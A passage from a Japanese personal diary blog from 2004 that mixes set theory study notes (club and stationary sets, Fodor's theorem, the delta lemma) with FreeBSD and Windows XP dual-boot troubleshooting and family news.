を考えると $S$ が定常集合なので ${D}\cap{S}$ も定常集合となります。ここで $\beta<\alpha$ を ${D}\cap{S}$ の二つの要素とすると $\xi<\beta$ に対して $\alpha_\xi<\eta_\xi<\beta$ が成立し、従って $\alpha_\beta=\beta\,\in\,{S}$ となり矛盾。
ここで何をやっていたかを思い出すと
ある $\xi<\kappa$ が存在して、すべての $\eta<\kappa$ に対して $A_{\xi}^{\eta}$ が定常集合
になるということです。この条件を満たす $\xi$ を固定して $\gamma$ とおくと
すべての $\eta<\kappa$ に対して $A_{\gamma}^{\eta}=\{\alpha\in{S}\,|\,\alpha_{\gamma}\ge{\eta}\}$ が定常集合
が成立することになります。ここに至りやっと証明も終わりに近づき、関数 $f(\alpha)=\alpha_{\gamma}$ を考えるとこの関数は退行的(regressive)。よって Fodor の定理により $\eta<\kappa$ に対して $S_{\gamma}^{\eta}=\{\alpha\in{S}\,|\,\alpha_{\gamma}={\gamma_\eta}\}\,\subset\,~A_{\gamma}^{\eta}$ が定常集合となり ${\eta}\le{\gamma_\eta}$ であることと $\kappa$ の正則性により求める分割となります。
まだ[補題 1]の証明が残っていますが、こちらの証明は定理本体の証明と同様の手法で行うことが可能で、さらに「対角共通部分」を使う必要がなく定理本体より簡単なので、ここでは省略します。
今回は Thomas J. Jech 著 Set Theory を参考にしました。

2004年8月11日(水)

夏休み予定
本当は猫森にあわせて九月下旬にとろうかと思ったのですが、どうも会社の規約では九月上旬までにとる必要があるそうで、まあ今年の猫森は出勤日とかぶるのが二回だけで、その日は定時に退社すれば間に合うので、休みは九月の上旬にとることにしたのです。ちなみに夏休みは通常の有給とは別扱いで四日間とることが出来るのですが、五日間になっていないところが少々けちんぼだと思うのは私だけなのかな(^^。

2004年8月10日(火)

覚え書き
どうも FreeBSD に Mozilla 系のブラウザをインストールするたびに文字の見栄えが良くなったり悪くなったりするので、いろいろやってみたところ、ようやく「正しい」方法が分かったと思うので覚え書きなのです。
- コンパイルのときにアンチエイリアス機能を禁止する。
- /usr/ports/japanease/alias-fonts をインストールする。このとき依存パッケージとして Kappa フォントのダウンロードを行うが 30Byte/sec とかの速度で最終的に失敗する確率が高い。これに関しては Kappa20-0.394.tar.bz2 とかを別の場所から取ってきて手動でインストールする方が良い。
- Mozilla(含 firefox)のフォントを alias-fixed-jisx0208.1983-0 に指定する。なぜか alias-fixed-jisx0208.1990-0 の方にするとあんまり良くない。
この方法によりこの程度の見栄えとなり通常の使用には十分なのであります。
余談ですが一昔前までは全然だめだったのに、最近のフリーなるブラウザではこちらなんかもちゃんと見られるようになったのです。そうはいうもののこの事実を喜ぶべきなのか悲しむべきなのかは大いなる疑問だと思うのであります(^^;。

2004年8月9日(月)

AH-K3001V 固まる
昨日、芝居の帰りの電車にて AH-K3001V で WWW をうろついていたのですが、もうすぐ藤沢に到着するな～、というところで固まりました(^^。いやはやどのキーを押しても全く反応がなく、カバーを開け閉めしてもだめ。サイドキーを押すと外側のちっちゃい液晶のライトはついたり消えたりするのですが、その他の反応は全くないのです。これは困りましたねー。仕方ないので裏蓋を開けて電池を取り外すしかないかと思ったのですが、外しかたが分かりません(^^;。
そんなこんなでらちがあかず、おうちに帰ってからマニュアルを見て蓋の開け方を調べよう、と思い始めたら突然待ち受けモードに復帰しました(^^。むむむっ、これはいわゆるウオッチドッグ(＊)というものが作動したのだろうか。うわさによりますと、着メロがなりっ放しで困りに困って電池を取り外したという方もいらっしゃる様ですが、５分位我慢していれば(おい^^)正常なる状態に復帰するかも知れません(^^。
(＊) 番犬のこと。コンピューターの世界では、動作を監視してまずそうな状態に陥った場合、初期状態等に復帰する機能のこと。

2004年8月8日(日)

空間読書の会(二日目)
今日も行ってきました。昨日はとっても蒸し暑くて体力的に結構きつかったのですが、今日は過ごしやすい気候で気分良く楽しめたのです。浩子さんとっても可愛いかったです(^^。
朝顔
一輪咲きました～。でも、まぬけにも昼間になってから気がついたので、ちょっとさえないかも。

2004年8月7日(土)

空間読書の会(一日目)
今日は大森博史さん・谷山浩子さんによる「空間読書の会　第一回公演　～第七官界彷徨～」ということで、16時の部と 20時の部二回観にゆくのです。場所はこちらなのですが、終電にはなんとか間に合いそうです。
というわけで 23時30分頃帰宅。いやはやとても暑かったのと、二連ちゃんでさすがに疲れましたな(^^。明日は 17時から。

2004年8月6日(金)

軟弱もの
前に書きましたように、個人的にはわけのわからん特許でしばられていた GIF というものが大嫌いでして、 mimetex を使った数式 CGI についても、あえて XBM フォーマットで出力して、それを多段のパイプで透明 PNG に変換していたのです。ところが運の悪いことに、どうも netpbm を使用した方法では IE での透明化がうまく行かなくなってしまい、色々と他の方法を模索したり、教えて頂いたりしたのですが(ありがとうございます)、なかなかこれなら完璧、という方法が見つからなかったのです。
というわけで、一月ほど前に特許の期限も切れたということなので、超軟弱モードに入りまして、今日から数式は GIF 出力なのです(^^;。ついでに GIF 出力ですとアンチエイリアスを有効にするオプションがあったので、そちらも設定にしてみました。
$\forall{x}({x}\neq{\emptyset}~\rightarrow~\exist{{y}\in{x}}({y}\cap{x}=\emptyset))$

上がアンチエイリアスありで、下がなしなのですが、どちらが良いかは微妙なところですな。
モカちゃん帰宅
昨日おうちに帰ったら、モカちゃんが帰宅していまして既に寝ていたのです(^^。行ってきたのは「藤沢市科学少年団夏宿泊活動」なるイベントでして、愛知県の茶臼山・鳳来寺・西浦・豊橋に二泊三日の旅行だったのです。お題目としては、
- 茶臼山自然公園・小鳥の森植物オリエンテーリング
- 天体観察会
- 田口鉱山跡バラ輝石採集
- 鳳来寺あたりで自然博物館見学
- 豊橋市自然史博物館見学
などなどなかなか盛り沢山でして、さすがに姫さまだいぶお疲れらしく、本日会社に行くときもまだ寝てたりしました(^^。
ところでおみやげを買ってきてくれまして(いやいや事前に要求したなどということは...^^)

とってもとってもうれしかったのですが、奥さまと二女から余計な声がかかりまして、なんと
き○○まみたい(^^;
というまったく姫に失礼な...。さらに奥さまが調子にのって、
そんなにうれしいのならぱんつの中に入れてあるいたら～(^^;
いやいやいくらなんでもそんな「なんとかデカ」みたいな器用なことは出来ないのであります。

2004年8月5日(木)

ぺけぴーさまのお怒り
うーむ。XP さまのインストールをむげにやめたのでたたりがあったのかも知れませんが、なんと X24 に導入した FreeBSD の最新の netpbm で数式を透明化するための次のコマンドがエラーになるようになってしまったのです。
mimetex-orig |
/usr/bin/tail +3 |
/usr/local/bin/xbmtopbm |
/usr/local/bin/pnmdepth 8 |
/usr/local/bin/pnmtopng -transparent rgb:ff/ff/ff
エラーメッセージは pnmtopng が出していまして、
pnmtopng: 2 colors found
pnmtopng: Internal error: trying to make a color \
in the palette transparent where there already is one.
というものです。pnmdepth をやめたり pnmdepth の引数を 256 以上にするとエラーは出なくなるのですが、それでは IE で透明になりません(^^;。とりあえず R30 の方のちょっと古いバージョンですと大丈夫なのですが、うかつに netpbm のアップグレードは出来なくなってしまいました。おそらく古いバージョンの netpbm では(見掛け上)多色かつ透明色指定 png 出力が可能だったのに、理由は良くわからないのですが最新のでだめになったと推測されます。
検索で調べてみると IE での png の透明化に関しては色々問題があるようで、
- α チャネルによる透明化は出来ない。
- 透明色指定の場合、二値画像の場合透明化できない。
というなんとも情けない状態らしいく、javascript を使用した回避例等が記述されてはいるのですが、互換性上問題があるのと、面倒なのと、そもそも数式 png ファイルは一月で数百枚になる可能性があるので、クライアントが瀕死状態になることは明らかなのです。今後の対処方法としては、
- 当面古い netpbm を「大切に」保存して使える限りそれを使用する。
- もしなくしてしまったり、動かなくなった場合、なんとなく数式に興味をもたれる方は IE 派が少ない感じがするので、IE に関しては透明化をあきらめる。
- 他の良い方法を教えてもらう(^^。
等が考えられるのですが、当面は最初の案で回避することとします(^^;。

2004年8月4日(水)

XP のインストール
というわけで X24 に XP をインストールしてデュアルブート環境を作ろうと思ったのです。状況としては ad0s1 に FreeBSD 領域が 60G バイトほど入っていまして、残りの 17G バイトの場所(ad0s2)に XP を入れるつもりでちゃんと DOS のラベルをつけといたのです。また FreeBSD のブートマネージャーもちゃんとインストールしまして、[F1]FreeBSD [F2]DOS なる選択も出る状態だったのです。ということでめずらしく色々準備もしたのでこれは大丈夫であろう、と思って XP のインストールを開始したのですが...
FreeBSD の内容が入っている場所に勝手に上書きされました(-_-)
こここ、これはなんという。選択肢が出たりするわけでもなく、最初の DOS パーティションを探すわけでもなく、単に先頭からフォーマットしてインストールされてしまって、結局 17G 余しといた何の役にも立たない DOS 領域だけが残ったと言う、最低最悪の事態となったのであります。さらに不愉快なことには、なぜか FreeBSD のブートマネージャーは生きていたのですが [F1]DOS [F2]??? なんて勝手に変化してて、F1 を押すと XP が起動したりするのです(^^;。
しかたないので再度 FreeBSD をディスクの後ろの方(ad0s2) 60G 位確保してインストールし、前の方 17G の場所に XP をインストールしようとしたのですが、
こんどは XP がインストール中に固まります(-_-)
いやはやなんといいますか、最初は FreeBSD をつぶして、二回目はインストールできないという「何を考えてるんだ XP さま」という状況になってしまったのですが、この期におよんでついに XP のインストールをあきらめ、80G バイト全部 FreeBSD で使うことに決意したのであります(^^;。そもそも XP を入れようとした目的は、出張のときとか AH-K3001V を安心して使いたいというだけの理由で、メールの受送信・日記のアップロード・画像なしの w3m や ssh での自宅サーバーへのログイン程度ですと FreeBSD でも落ちたことがないので、まあこのままの環境で余裕のディスク容量に免じて良しとしましょう。
＃結局徹夜してさらに会社で環境を復元していたりします。
＃余っているハードディスクに XP をインストールして持ち歩くとか(^^。
デルタレンマ
[集合論雑記目次]
前回定常集合(stationary set)なる概念を導入しましたが、その応用としてデルタレンマ $\Delta{\rm~-lemma}$ なる定理の証明です。
[定義(デルタシステム)]
集合 $\cal{A}$ に対して集合 $~r$ (空でもよい)が存在して任意の $x,y\in{\cal~A}\,({x}\neq{y})$ に対して ${x}\cap{y}=r$ を満たすとき $\cal{A}$ を $\Delta{\rm~-system}$ と呼ぶ。
[定理(デルタレンマ)]
$\theta$ を非可算正則基数とし $\kappa<\theta$ を $\forall~\alpha<\theta~(\,|\alpha^{<\kappa}|~\,<\,~\theta\,)$ を満たす基数とします。集合 $\cal{A}$ が $|\cal{A}|\geq\theta$ でさらに $\forall{x}\in{\cal~A}(|x|<\kappa)$ を満足するとき ${\cal~B}\subset{\cal~A},|\cal~B|=\theta$ なる $\Delta{\rm~-system}\,\,\cal{B}$ が存在する。
定理の表現は Kenneth Kunen 著 Set Theory からの引用です。この本の証明は(定常集合の概念を使用しない)直接的な方法で記述されていまして、いまいち(私にとっては)分かり難かったので、定常集合を使った方法で書き直そうと思ったのですが、こちらは現在はまっています(^^。そこで本日は上の定理の $\theta=\omega_{1},\,\kappa=\omega$ 場合のみを証明します。言い替えると
${\cal~A}$ を有限集合からなる非可算集合とするとき、非可算な ${\cal~B}\subset{\cal~A}$ で $\Delta{\rm~-system}$ なるものが存在する。
$\bigcup{\cal~A}\subset\omega_{1}$ として一般性を失わないのと、自然数 $n$ と ${\cal~A}$ の非可算な部分集合が存在して、その全ての要素の基数が $n$ になることは明白なので ${\cal~A}$ の要素の基数はすべて $n$ として $(x_\alpha)_{\alpha<\omega_{1}}$ と列挙します。すなわち
$\forall{\alpha<\omega_{1}}(|x_\alpha|=n)$
なる列を考え、非可算な部分列で $\Delta{\rm~-system}$ なるものの存在を示せば良いのです。まず
$C=\{\alpha<\omega_{1}\,|\,\forall{\zeta<\alpha}(\max(x_\zeta)<\alpha)\}$
とおくと $C$ は $\omega_{1}$ の閉非有界集合(club)となります(2004年7月29日の[系])。ここで
$S_{k}=\{\alpha\in{C}\,:\,~|x_{\alpha}\cap{\alpha}|=k\}\quad(0\leq{k}\leq{n})$
とおくと( $S_{k}$ の要素に対応する $x_{\alpha}$ は $\alpha$ の「下」で丁度 $k$ 個の要素をもつ)、少なくとも一つの $S_{k}$ は $\omega_{1}$ での定常集合になるのでその $k$ を固定します。さて $\alpha\in{S_{k}},\,l\leq{k}$ に対して $x_{\alpha}(l)$ を $x_{\alpha}$ の $l$ 番目の要素とし、関数 $f_{l}(\alpha)~=~x_{\alpha}(l)\quad(1\leq{l}\leq{k})$ を考えると $f_{l}(\alpha)~<~\alpha\quad(1\leq{l}\leq{k})$ が $S_{k}$ 上で成立し、各 $f_{l}$ は退行的関数(regressive function)となります。従って Fodor の定理により定常部分集合 $T\subset{S_{k}}$ が存在し、 $T$ 上で $f_{l}\quad(1\leq{l}\leq{k})$ は定値(＊)( $l$ ごとに違う値をとるのはかまわない)となり $\alpha\in{T}$ に対して $x_{\alpha}\cap{\alpha}~=~\{f_{1}(\alpha),...,f_{k}(\alpha)\}$ となります。従って $\alpha<\beta~$ のとき $x_{\alpha}\subset\beta$ となることに注意すれば $(x_{\alpha})_{\alpha\in{T}}$ が求める部分列となるのです。
今回も Thomas J. Jech,Karel Hrbacek著 Introduction to Set Theory を参考にしました。次回は定常集合の分割に関する性質について書く予定です。さらにそろそろフィルターの部分の定式化を見直して「イデアル」の説明を追加し、さらに non stationary set から生成されるイデアルの定義も必要そうです。
現在(＊)で $l$ の動く範囲が無限の場合に一般の場合の証明ができそうもなくてはまっているのです。もともと無理なのかも...。

2004年8月3日(火)

モカちゃん旅にゆく
とある方面のイベントにて、姫は今日から二泊三日で合宿なので、とってもとっても寂しいのです。それはそうと奥さまからメールありて IBM から「われもの注意！！」なる郵便物が届いていたそうでして、やっと XP の CDROM 入手です。
エディターではまる
いやいや別に私がはまったわけでははないのですが、会社で仕事してたら、とあるお客さまから電話がかかってきまして、「今 Linux のあるファイルを変更したいのですが、どうすればよいのでしょう」ということなのです。話を聞くとその方は Linux の操作をしたことはほとんどなく、もちろん Linux 上でエディターを使ったこともないということなのです。うーむ困りましたな。 Linux 上で動く標準のエディターは vi(ed も？)しか知らないし、もし Emacs が入っていたとしても、どちらのエディターも初めての人がまともに使えるような代物ではないのです。もし X 上でメニューから呼べる、ノートパッド的な簡易エディターがあればよいな～、と思い聞いてみたのですが、どうもそのマシンはサーバーということで X は動いていないようなのです(^^;。
仕方がないので、もし近くに Windows マシンがあるのでしたら、ftp の「テキストモード」で転送して、そちらで編集した後またまた「テキストモード」で戻すのが良いのでは、と回答したのですが、そんなこんなで UNIX 系環境に慣れていない人のための統一された簡易エディターが一つ位あれば良いのにな～、と思ったのでした。余談ですが、初めて UNIX 系の OS をさわって、vi や Emacs になじめず OS 自体に拒絶反応をもつ様になってしまった人を何人か知っています。
＃ vi も Emacs も慣れるととってもおいしいんですが...。
＃ FreeBSD の場合 ee が標準で入っているので少しは楽だったりします。

2004年8月2日(月)

寝過ごしの日
実は昨日(というか本日未明)まで写真の整理をしていまして、結局朝の 5時頃になってしまいまして「これはいかん！！。このまま寝てしまったら絶対に遅刻してしまう」、ということでそのまま起きていて一番バスで出勤するつもりだったのです。ところがところが「ちょっと疲れたから 30 分だけ横になろう」と思ったのが運のつきで、なんと 30分が 2時間になって、気が付いたときには 45分程度遅刻のパターンだったのです。さらに運の悪いことに通勤の電車で寝過ごして、
気がついたら新宿(-_-)
というますます非劇的な状況に陥ったのでした。まあなんとか新宿経由で会社まで行ったのですが、なんのかんので一時間半も遅刻したと言う、月曜日早々とっても情けない朝だったのであります。

2004年8月1日(日)

結構大変写真の整理
昨日は姫のピアノの発表会ということで、例のごとく数うちゃあたるというポリシーで撮った写真がなんと 220枚(^^。それはよいのですがこれを自家製アルバムに整理する必要がありまして、まあ明らかに失敗というのは捨ててしまえば良いのですが、微妙にぼけてるとかちょっと捨てるのが惜しい写真もあったりするのです。さらに同じようなシーンをそれこそ数うちゃで連続数十枚とったりするので、ここから比較的良いものを選択する必要があったりします。とりあえず全部アルバム化して後から消せば良いのでしょうが、そうしてしまうと極端にずぼらな性格からして、永久に整理しないという状況に陥るのは間違いないのでして、やはり今日中にやんなきゃいけないかな...。面倒ですなぁ(^^。
定常集合(stationary set)
[集合論雑記目次]
今回も κ は非可算正則基数を表すこととします。κ の部分集合 $S$ が次の条件を満たすとき定常集合(stationary set)と呼びます。
$\kappa$ の任意の閉非有界集合 $C$ に対して ${S}\cap{C}\neq\emptyset$
$S$ が定常集合のとき明らかに $|S|=\kappa$ が成立します。交差性の性質により閉非有界集合は定常集合です。また例えば $\gamma~<~\kappa$ を正則な基数とするとき、閉非有集合 $C$ の「 $\gamma$ 番目」の要素の共終数(cofinal)は $\gamma$ なので
$\{\alpha<\kappa~\,|\,~{\rm~cf}(\alpha)~=~\gamma}$
は定常集合となります。
[定義]
順序数を順序数に対応させる関数 $f$ が定義域(domain)上で $\alpha\neq{0}~\rightarrow~f(\alpha)<\alpha$ を満たすとき退行的(regressive)であると言う。
定常集合は次の定理により特徴づけられます。
[定理 (Fodor)]
$S\subset~\kappa$ が定常集合となる条件は
(a) 任意の退行的な関数 $f\,:\,~S\rightarrow\kappa$ に対して $f$ がその上で定値となる定常部分集合 $T~\subset~S$ が存在する。
まず $X$ が定常でない場合 $X\cap{C}={\emptyset}$ なる閉非有界集合が存在します。ここで $f(\alpha)=\sup(C\cap\alpha)\quad(\alpha\in{X})$ を考えると $C$ が閉非有界であることにより $f(\alpha)\not\in{X}.$ 従って $f(\alpha)<\alpha$ が成立します。ところがここで $\beta<\kappa$ とすると $\min\{{\x\in{C}}\,|\,\beta~<\x\}<\alpha$ のとき $f(\alpha)>\beta$ が成立するので $f$ は $X$ の定常部分集合で定値となりえません。
逆に $S$ を定常集合と仮定し $f$ が (a) の条件を満たさない退行的関数とします。すると任意の $\beta~<~\kappa$ に対して $X_{\beta}~=~f^{-1}(\{\beta\})$ は $S$ の定常でない部分集合となります。即ち $\beta<\kappa~\rightarrow~X_{\beta}\cap{C_{\beta}}=\emptyset$ を満たす閉非有界集合の列 $(C_{\beta})_{\beta<\kappa}$ が存在するので $C=\triangle_{\beta<\kappa}C_{\beta}$ を考えると
$\alpha\in{C}~\leftrightarrow~\forall\beta<\alpha(\alpha\in{C_\beta}).$
従って
$\alpha\in{S}\cap{C}~\rightarrow~\forall{\beta<\alpha}(f(\alpha)\neq{\beta})$
となり $f$ の退行性に反します。今回は Thomas J. Jech,Karel Hrbacek著 Introduction to Set Theory を参考にしました。次回はこの定理の応用で「デルタレンマ」のことについて書く予定なのです。

2004年7月31日(土)

ピアノの発表会
今日はモカちゃんのピアノの発表会でして、弾いた曲は「シューベルト作曲・即興曲 Op. 90-4」ということだったのです。前回の発表会が昨年の 11月だったのですが、いやはやまだ一年経ってないのに随分上手になったもので。子供の成長というのはほんとに速いものです。

集合写真その１
集合写真その２

演奏
花束をもらう

2004年7月30日(金)

WindowsXP インストール覚え書き
もうすぐ XP の CDROM が届くと思うのですが、実は今週と来週は色々イベントありて、インストールする暇がなさそうです。それはそうと Web をうろついて調べたところによりますと、やっぱり
XP をインストールするとマスターブートレコードは勝手に上書きされてしまう(-_-)
らしいのです。そこで修復手段案の覚え書き。
- 現行の FreeBSD の必要なファイルはすべてバックアップする (またかよ^^;)。
- 現行見掛け上デュアルブートになっている MBR をバックアップする。これは /dev/ad0 の先頭 512 バイトを dd 等で吸い上げれば良さそう。
- XP インストール後に FreeBSD を CDROM で起動して上記 MBR を復元する。このとき XP が書いた MBR のバックアップを忘れないこと。
- もしうまくゆかない場合、仕方がないので MBR を戻して XP のローダーを利用する。この場合 /boot/boot1 を R30 からでも持って来て、 C:/bootsect.bsd なる名称でコピーして、さらに C:/boot.ini に次の行を追加する。
```
    [C:/boot.ini]
    ---------------------------------------------------------
    [boot loader]
    timeout=30
    default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS
    [operating systems]
    multi(0)disk(0)rdisk(0)partition(1)\WINDOWS=\
          "Microsoft Windows XP" /fastdetect
    C:\bootsect.bsd="FreeBSD 4.10 Release"   ←これ
    ---------------------------------------------------------
```
うーむなるべくなら FreeBSD のブートローダーがうまく動いてくれれば良いのですが、最悪 XP の方のデュアルブート環境を使用する必要があるかも知れません。もっと運が悪いと FreeBSD の再インストールなどという...。いやいやそれだけはご勘弁を(^^;。

2004年7月29日(木)

閉非有界集合
[集合論雑記目次]
前々回非可算正則基数 κ 上の閉非有界集合(closed unbounded set)全体が κ-complete フィルター基底の例であると書きましたが、今回はそれに関する話題です。今回 κ は常に非可算正則基数を表すこととします。
[定義]
正則基数 κ の次の条件を満たす部分集合 $C~$ を「閉非有界集合」と呼ぶ。
$(a)~\,\alpha<\kappa~$ が極限順序数で $\sup(C~\cap~\alpha)~=~\alpha~$ を満たすとき $\alpha~\in~C~$ $(b)~\,\forall~\alpha<\kappa\,~\exist~\beta\in~C(\alpha<\beta)~$
(a) が「閉」の条件で (b) が「非有界」の条件です。(a) は次の記述と同値です。
(a') $\beta<\kappa~$ とするとき C の任意の増大列 $(\alpha_\x)_{\x<\beta}~$ に対して $\lim_{\x\rightarrow~\beta}~\alpha_\x~$ は $C~$ の要素。
(a) の前提条件を満たす $\alpha~$ を $C~$ の極限点(limit point)と呼びます。また $|C|<\kappa~$ とすると $\kappa~$ の正則性より $\sup(C)<\kappa~$ となり $C~$ の非有界性に反するので $|C|~=~\kappa~$ となります。
[補題]
κ 上の非有界閉集合からなる集合はフィルター基底となる。即ち $C,D~$ が閉非有界のとき $C~\cap~D~$ も閉非有界。
$C~\cap~D~$ が閉となることは明白。非有界の方は $\gamma<\kappa~$ として $\gamma~<~\alpha_0~<~\beta_0~<~\alpha_1~<~\beta_1~<~\cdots~<~\alpha_n~<~\beta_n~~~\cdots\quad~~(\alpha_n~\in~C,\,\beta_n~\in~D)~$ なる ω 列を考えるとこの列の極限は $C~\cap~D~$ の要素となるので証明完了。
[定理]
κ の閉非有界集合全体から生成されるフィルターは κ-complete となる。
このフィルターを κ 上の閉非有界フィルター(closed unbounded filter)と呼ぶ。
γ<κ として $(C_\x)_{\x<\gamma}~$ を閉非有界集合の γ-列とします。このとき $\bigcap_{\x<\gamma}C_\x~$ が閉(closed)となることは明白なので、非有界でであることを超限帰納法により証明します。まず γ が極限数でない場合、帰納法のステップは補題により得られます。従って γ を極限数とします。 $\x<\gamma~$ に対して $D_\x~=~\bigcap_{\zeta\leq\x}{C_\zeta}~$ を考えると、帰納法の仮定により $(D_\x)_{\x<\gamma}~$ は非有界閉集合の列となり $D_0~\supset~D_1~\supset~D_2~\supset~\cdots~$ が成立します。 $\alpha~<~\kappa~$ とするとき κ の正則性により次の列を構成可能です。
$\alpha<\alpha_0<\alpha_1<\cdots<\alpha_\x<\cdots\quad(\alpha_\x\in~D_\x)~$
このとき $\alpha_\x~\in~D_\zeta~\quad~(\zeta~\leq~\x)~$ に注意すると $\beta=\lim_{\x~\rightarrow~\gamma}{\alpha_\x}~$ はすべての $D_\x~\quad~(\x<\gamma)~$ の要素となり $\alpha<\beta~$ を満たすので証明完了です。閉非有界フィルターはさらに「面白い(驚いた)」挙動を見せます。
[定義]
$(X_\alpha)_{\alpha<\kappa}~$ を κ の部分集合の κ-列とするとき
$\bigtriangle_{\alpha<\kappa}{X_\alpha}~=~~~\{\x~\in~\kappa|~\forall~\alpha<\x(\x~\in~X_\alpha)\}~=~~\{\x~\in~\kappa|~\x~\,\in~\,\cap_{\alpha<\x}X_\alpha\}~$
を $(X_\alpha)_{\alpha<\kappa}~$ の対角共通部分(diagonal intersection)と呼ぶ。
[定理]
$(C_\alpha)_{\alpha<\kappa}~$ を κ の閉非有界部分集合の列とするとき $\bigtriangle_{\alpha<\kappa}{C_\alpha}~~$ は κ の閉非有界部分集合。
[系]
$(\alpha_\x)_{\x~\in~\kappa}~$ を任意の κ-列とするとき $\{\beta<\kappa|\forall\x<\beta(\alpha_{\x}<\beta\)}~$ は閉非有界。
系は $C_\x~=~\{\beta<\kappa|\alpha_\x<\beta\}~\quad~(\x<\kappa)~$ を考えると明らかに閉非有界で、これらの対角共通部分はまさに $\{\beta<\kappa|\forall\x<\beta(\alpha_{\x}<\beta\)}~$ となるから。
実を言いますと、とある定理(デルタレンマ)の証明を読んでいたら、この系が使用されていて全然分からなかったのです (&alpha_ξ が急激に増大するときこんな都合の良いことが...しかも κ-列)。そこでとにかく閉非有界集合を真面目に勉強する必要がありそうと思ってこちらを勉強したのですが、うまいこと当たりまして、やっとこ「系」の部分が理解できたということなのでした。
肝心の定理の証明ですが次のように行われます。まず前証明と同様に $C_0~\supset~C_1~\supset~C_2~\supset~\cdots~$ と仮定してよく $C~=~\bigtriangle_{\alpha<\kappa}{C_\alpha}~~$ として $C~$ が閉(closed)であることを示します。 $\alpha~$ を $C~$ の極限点とし $\xi<\alpha~$ に対し $X_{\xi}~=~\{\eta\in~C|\xi<\eta<\alpha\}~$ とします。このとき対角共通部分の定義により $X_{\xi}\subset{C_{\xi}}~$ が成立し $\alpha~$ が $C~$ の極限点であることから $\alpha=\sup(X_\xi)~$ が成り立ちます。従って $\alpha~\in~C_\xi~\quad~(\xi<\alpha)~$ が成立するので $\alpha~\in~C.~$
次に $\alpha~\in~C~$ が非有界であることの証明ですが $\alpha<\kappa~$ を固定して次の様に $\omega~$ 列 $(\alpha_n)_{n\in~\omega}~$ を構成します。
$\alpha<\alpha_0<\alpha_1<\cdots<\alpha_n<\alpha_{n+1}<\cdots\quad~~(\alpha_0\in~C_0,\,\alpha_{n+1}\in~C_{\alpha_{n}})~$
このとき $\beta=\lim_{n~\rightarrow~\omega}\alpha_{n}~$ が $\alpha<\beta,\,\beta\in~C~$ を満たし $C~$ の非有界性が証明されます。次回は閉非有界集合と関連が深い「定常集合」に関しての記述を行う予定です。いったい Martin の公理はどうなったかというつっこみもありそうなのですが、このあたりをきちんと勉強しておくと Martin の公理をより楽しめそうな気がするのであります。
今回は Thomas J. Jech 著 Set Theory を参考にした部分が多いです。もし引用の範囲を越えている等の問題があればご指摘下さい。

2004年7月28日(水)

Windows XP 注文
IBM を催促した割りには注文するのを忘れていた X24 用の Windows XP ですが、本日やっと投函しました。支払は簡単でして、私の場合注文書にクレジットカードの番号を記載したので、一週間位で実物が届き、いずれ 4,200円引き落としということになると思います。現在 X24 の 80G ハードディスクは 16G バイトほど余らせてあり、その部分にインストールする予定なのですが、はてさてマスターブートレコードとか勝手に書き換えられて、デュアルブート環境を復元するのに苦労することになるのか、そのあたりが全然分からないのがちょっとやなのです。

2004年7月27日(火)

モカちゃんの算数で苦戦する
最近モカちゃんに「算数の問題解き方教えて～」、と言われることが多いのですが、小学校 5年生位になるとなかなか難しいもので(汗)。特に図形関連(昔からできない)となると「もうかんべんして～」と言いたくなるのですが、なんせパパは一応数学得意ということになっているので、「ふーん、こんなのもできないのか～」という姫の疑惑の声が聞こえてくるような(^^。それから何か値を求める問題で、方程式をつかっちゃだめというのもなかなかつらいですな。図形とちがってこちらの方は一生懸命考えればなんとかなる場合が多いのですが、それでもとんでもなく時間がかかる場合があります(しかも電卓使わないと間違えるし...)。純粋な算数的問題より、例えば「距離・速度・時間」の関係や「溶解度」等、どちらかというと本来物理や化学に関連する問題ですと、こちらはさすがに経験が物を言い簡単に分かる場合が多いのですが、とにかく小学生の算数あなどれず！！。この方面も少し勉強しとかないとますます信用がなくなる恐れがあったりします(^^。
＃二女の高校数学の方がはるかに楽だったりします。
遅くなった ADSL
最近 ADSL のリンク速度や実効速度が全盛期に比べて 0.2Mbps 程度遅いのです。全盛期は下りリンク速度が 3Mbps 強だったのに、最近は 2.9Mbps 程度で上りも若干遅くなっているのです。うわさによりますと、すでに十分速いのに最近ますます速くなった人もいるそうですが、いやはやあたかも大貧民ゲームのごとく世の中の不公平はどんどん拡大する方向にあるものですな(^^;。
＃と言っても体感上はいっしょですが(涙)

2004年7月26日(月)

AH-K3001V 使用料金詳細

いまいち月額料金の詳細が分かりにくかった AH-K3001V つなぎ放題コースですが、内容明細のページによると次のような金額だそうな(ほとんどそのままこぴぺ)。

料金の内訳(消費税含まず) (円) ご利用期間等

つなぎ放題基本使用料 5,800 ６月１６日～　７月１５日

年間契約割引額 -870 ご契約期間１ヵ月

Ａ＆Ｂ割割引額 -870

通話料 290

小　計 4,350

ふむふむちゃんと年割りと A&B 割りは独立に適用されるのですな。通話料金を除くと月あたり 4,060x1.05=4,263円になりまして、IIJmio の 315円を加算すると4,578円ということになります。ちなみに通話料金 290円のほとんどは会社を出るときおうちにかけた「帰りますコール」だったりします(^^。

2004年7月25日(日)

アイネットディーディスクスペース増設
アイネットディーからの連絡メールによりますと、料金が若干値下がりして (私のプランでは年間 10,500円から 9,800円)さらにディスク使用可能スペースが現行 100M バイトなのが 300Mバイトになるそうな。ディスクも安くなってきたのと、うわさによりますといわゆる無料で 1G とかのサービスも出てくるようなので、そういうのに対抗する必要があるのかも知れません。非常に優秀は保守体制を考えれば今まで通りでも特に不満はなかったのですが、現在おうちのホームページ領域が 68M バイト程度なので、もし自宅サーバーがお亡くなりになったときに全部移行するには、ちょっと容量的に不安があったのは事実なので(現在メール一月分のバックアップもあるので)これはとっても良いですな。さらにいざというとき evariste.jp がアイネットディーのサーバーを指すようにするのはとっても簡単なのです。
それでは私もまねをして広告バナー掲載なのです。

おすすめです(^^。

2004年7月24日(土)

一休み・ブルバキの集合論
[集合論雑記目次]
今日はちょっと趣向を変えてブルバキ集合論のお話しです。前にも書いたようにブルバキの集合論は独特の体系になっていまして、集合論をそれ自体独立した分野とは評価せず、厳密な数学を構築するための論理的な基礎と割り切った体系になっていると思われるのです。それにもかかわらず今眺め直してもなかなか発想的に面白い面があるのも確かなので、どんなものかを一通り書いておこうと思うのであります。まずは論理体系から。
[論理体系]
論理体系は一階述語論理なのですが、記述と存在に関する解釈が独特です。まず特徴を列挙しますと、
(a) 論理記号は □, $\tau,\,~\vee,\,\neg~$ からなる
(b) 論理式の生成規則はポーランド(関数)形式
(c) 自由変数を「文字」と称する
(d) 束縛変数は存在しない
